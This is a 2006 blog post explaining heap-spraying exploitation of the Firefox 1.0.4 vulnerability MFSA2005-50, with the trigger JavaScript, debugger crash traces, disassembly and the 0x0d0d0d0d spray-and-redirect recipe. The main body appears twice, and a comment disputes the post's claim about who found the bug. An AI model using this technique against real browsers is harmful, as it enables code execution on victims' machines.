Heap Spraying: Mozilla Firefox InstallVersion->compareto()
From the previous post, I had described how to use heap spraying technique to attack against Internet Explorer in serveral scenes. This doesn't means that we can't use heap spraying to attack other browsers. In July 2005, one of the exploit that use heap spraying attack Mozilla Firefox had been published. Aviv Raff, the exploit author, had written this exploit attach against the vulnerability MFSA2005-50 . At the first time, this vulnerability was ranked at the low level because the Mozilla team didn't think that it will be possible to execute the code via this vulnerability. Then, Aviv Raff who discover this vulnerability decide to write the exploit to show that it could be possible to execute the code in this bug. Good job Dude :)
MFSA2005-50 is trigger by visit the HTML page that embed javascript code like this:
…
location.href=”javascript:void(new InstallVersion());”
(new InstallVersion).compareTo(new Number(number));
…
when I use number = 0x00, Firefox crashes at 0x6004710a
mov ecx, [eax] ds:0023:00000000=????????
Where eax=0x00000000 and ecx=0x013b3808. Access violation occurs because Firefox try to read at the address 0x00000000. Then I decide to change number from 0x00 to 0x01 and test. Firefox crashes at the same position, but with the different condition
mov ecx, [eax] ds:0023:00000002=????????
Where eax=0x00000002 and ecx=0x013b3808. I change number again, from 0x01 to 0x11111111.
mov ecx, [eax] ds:0023:22222222=????????
Ah.. I think I see some pattern. Everytime I change number, the value of eax also change and eax’s value = number x 2. I confirm this by set number to 0x22222222 and the result show me that the value of eax = 0x44444444.
If I can made eax point the some memory area that I control it’s value, may be I can found something interest. I disassemble firefox code after 0x6004710a:
0:000> u 6004710a
xpinstal+0x710a:
6004710a mov ecx,[eax]
6004710c push dword ptr [ebp+0xc]
6004710f push eax
60047110 call dword ptr [ecx]
60047112 test eax,eax
60047114 jz xpinstal+0x70d6 (600470d6)
60047116 mov ecx,[ebp+0x10]
60047119 push 0x0
At address 0x60047110, there is a call instruction “call dword ptr [ecx]”. Because we can control ecx via eax, then we can control where we wanna to jump in this instruction – own the box lol.
Our strategy is very simple. We create 350 heap blocks with nop + shellcode. Our nop is this case is 0x0d. After we inject heap blocks in to memory, we trigger Firefox by call vulnerable code with number= 0x06868686. Because number = 0x06868686, eax will be set to 0x06868686 x 2 = 0x0d0d0d0c and the instruction at address 0x6004710a will become
mov ecx, [0x0d0d0d0c]
And because our 350 heap blocks fill the address 0x0dxxxxxxxx with 0x0d, then [x0d0d0d00c] = 0x0d0d0d0d and access violation will not occur because this memory area is become readable.
After ecx is set to 0x0d0d0d0d, the instruction at the address 0x60047110:
call dword ptr [ecx]
will equivalent to
call dword ptr [0x0d0d0d0d]
Because address 0x0d0d0d0d contains value 0x0d0d0d0d, then the instruction at address 0x60047110 will become:
call 0x0d0d0d0d
and Firefox will execute our payload because the address 0x0d0d0d0d is filled with our nop + shellcode.
If you have read the previous post, you will see that this exploitation environment is same as SkyLined’s Internet Exploiter. The magic number 0x0d0d0d0d is the important part of the exploit. It’s functions are nop payload and pointer to address in the memory. This will simplify the exploit because we just create a set of payload and inject it into memory. If you have seen Aviv Raff’s exploit, you will see that his exploit compose of three set of payload, first one is the value point by eax which will become ecx value, second one is the value point by ecx which will be called via the instruction “call dword ptr [ecx]”. The last one is nop + shellcode which will be placed at the address pointed by ecx.
P.S. : There is some difference between IE’s heap header and Firefox’s heap header. IE’s header size is 0x24 bytes while Firefox’s header size is 0x20 bytes. The last 4 bytes in IE’s header is the offset to the last 4 bytes in heap, Firefix has no this feature.
P.S. : tested on Windows XP home SP2 and Mozilla Firefox 1.0.4
MFSA2005-50 is trigger by visit the HTML page that embed javascript code like this:
…
location.href=”javascript:void(new InstallVersion());”
(new InstallVersion).compareTo(new Number(number));
…
when I use number = 0x00, Firefox crashes at 0x6004710a
mov ecx, [eax] ds:0023:00000000=????????
Where eax=0x00000000 and ecx=0x013b3808. Access violation occurs because Firefox try to read at the address 0x00000000. Then I decide to change number from 0x00 to 0x01 and test. Firefox crashes at the same position, but with the different condition
mov ecx, [eax] ds:0023:00000002=????????
Where eax=0x00000002 and ecx=0x013b3808. I change number again, from 0x01 to 0x11111111.
mov ecx, [eax] ds:0023:22222222=????????
Ah.. I think I see some pattern. Everytime I change number, the value of eax also change and eax’s value = number x 2. I confirm this by set number to 0x22222222 and the result show me that the value of eax = 0x44444444.
If I can made eax point the some memory area that I control it’s value, may be I can found something interest. I disassemble firefox code after 0x6004710a:
0:000> u 6004710a
xpinstal+0x710a:
6004710a mov ecx,[eax]
6004710c push dword ptr [ebp+0xc]
6004710f push eax
60047110 call dword ptr [ecx]
60047112 test eax,eax
60047114 jz xpinstal+0x70d6 (600470d6)
60047116 mov ecx,[ebp+0x10]
60047119 push 0x0
At address 0x60047110, there is a call instruction “call dword ptr [ecx]”. Because we can control ecx via eax, then we can control where we wanna to jump in this instruction – own the box lol.
Our strategy is very simple. We create 350 heap blocks with nop + shellcode. Our nop is this case is 0x0d. After we inject heap blocks in to memory, we trigger Firefox by call vulnerable code with number= 0x06868686. Because number = 0x06868686, eax will be set to 0x06868686 x 2 = 0x0d0d0d0c and the instruction at address 0x6004710a will become
mov ecx, [0x0d0d0d0c]
And because our 350 heap blocks fill the address 0x0dxxxxxxxx with 0x0d, then [x0d0d0d00c] = 0x0d0d0d0d and access violation will not occur because this memory area is become readable.
After ecx is set to 0x0d0d0d0d, the instruction at the address 0x60047110:
call dword ptr [ecx]
will equivalent to
call dword ptr [0x0d0d0d0d]
Because address 0x0d0d0d0d contains value 0x0d0d0d0d, then the instruction at address 0x60047110 will become:
call 0x0d0d0d0d
and Firefox will execute our payload because the address 0x0d0d0d0d is filled with our nop + shellcode.
If you have read the previous post, you will see that this exploitation environment is same as SkyLined’s Internet Exploiter. The magic number 0x0d0d0d0d is the important part of the exploit. It’s functions are nop payload and pointer to address in the memory. This will simplify the exploit because we just create a set of payload and inject it into memory. If you have seen Aviv Raff’s exploit, you will see that his exploit compose of three set of payload, first one is the value point by eax which will become ecx value, second one is the value point by ecx which will be called via the instruction “call dword ptr [ecx]”. The last one is nop + shellcode which will be placed at the address pointed by ecx.
P.S. : There is some difference between IE’s heap header and Firefox’s heap header. IE’s header size is 0x24 bytes while Firefox’s header size is 0x20 bytes. The last 4 bytes in IE’s header is the offset to the last 4 bytes in heap, Firefix has no this feature.
P.S. : tested on Windows XP home SP2 and Mozilla Firefox 1.0.4
4 Comments:
Just to make it clear, I did not discover this vulnerability. shutdown did. See Mozilla's advisory.
By Anonymous, at July 31, 2006 2:37 AM
P.S. Great post :)
By Anonymous, at July 31, 2006 2:40 AM
thx aviv to make it clear :)
By Trirat Puttaraksa, at July 31, 2006 10:13 AM
Hi
write me pls,
i have work for you.
odinvpolevoin@mail.ru
By Anonymous, at October 03, 2006 6:21 AM
Post a Comment
<< Home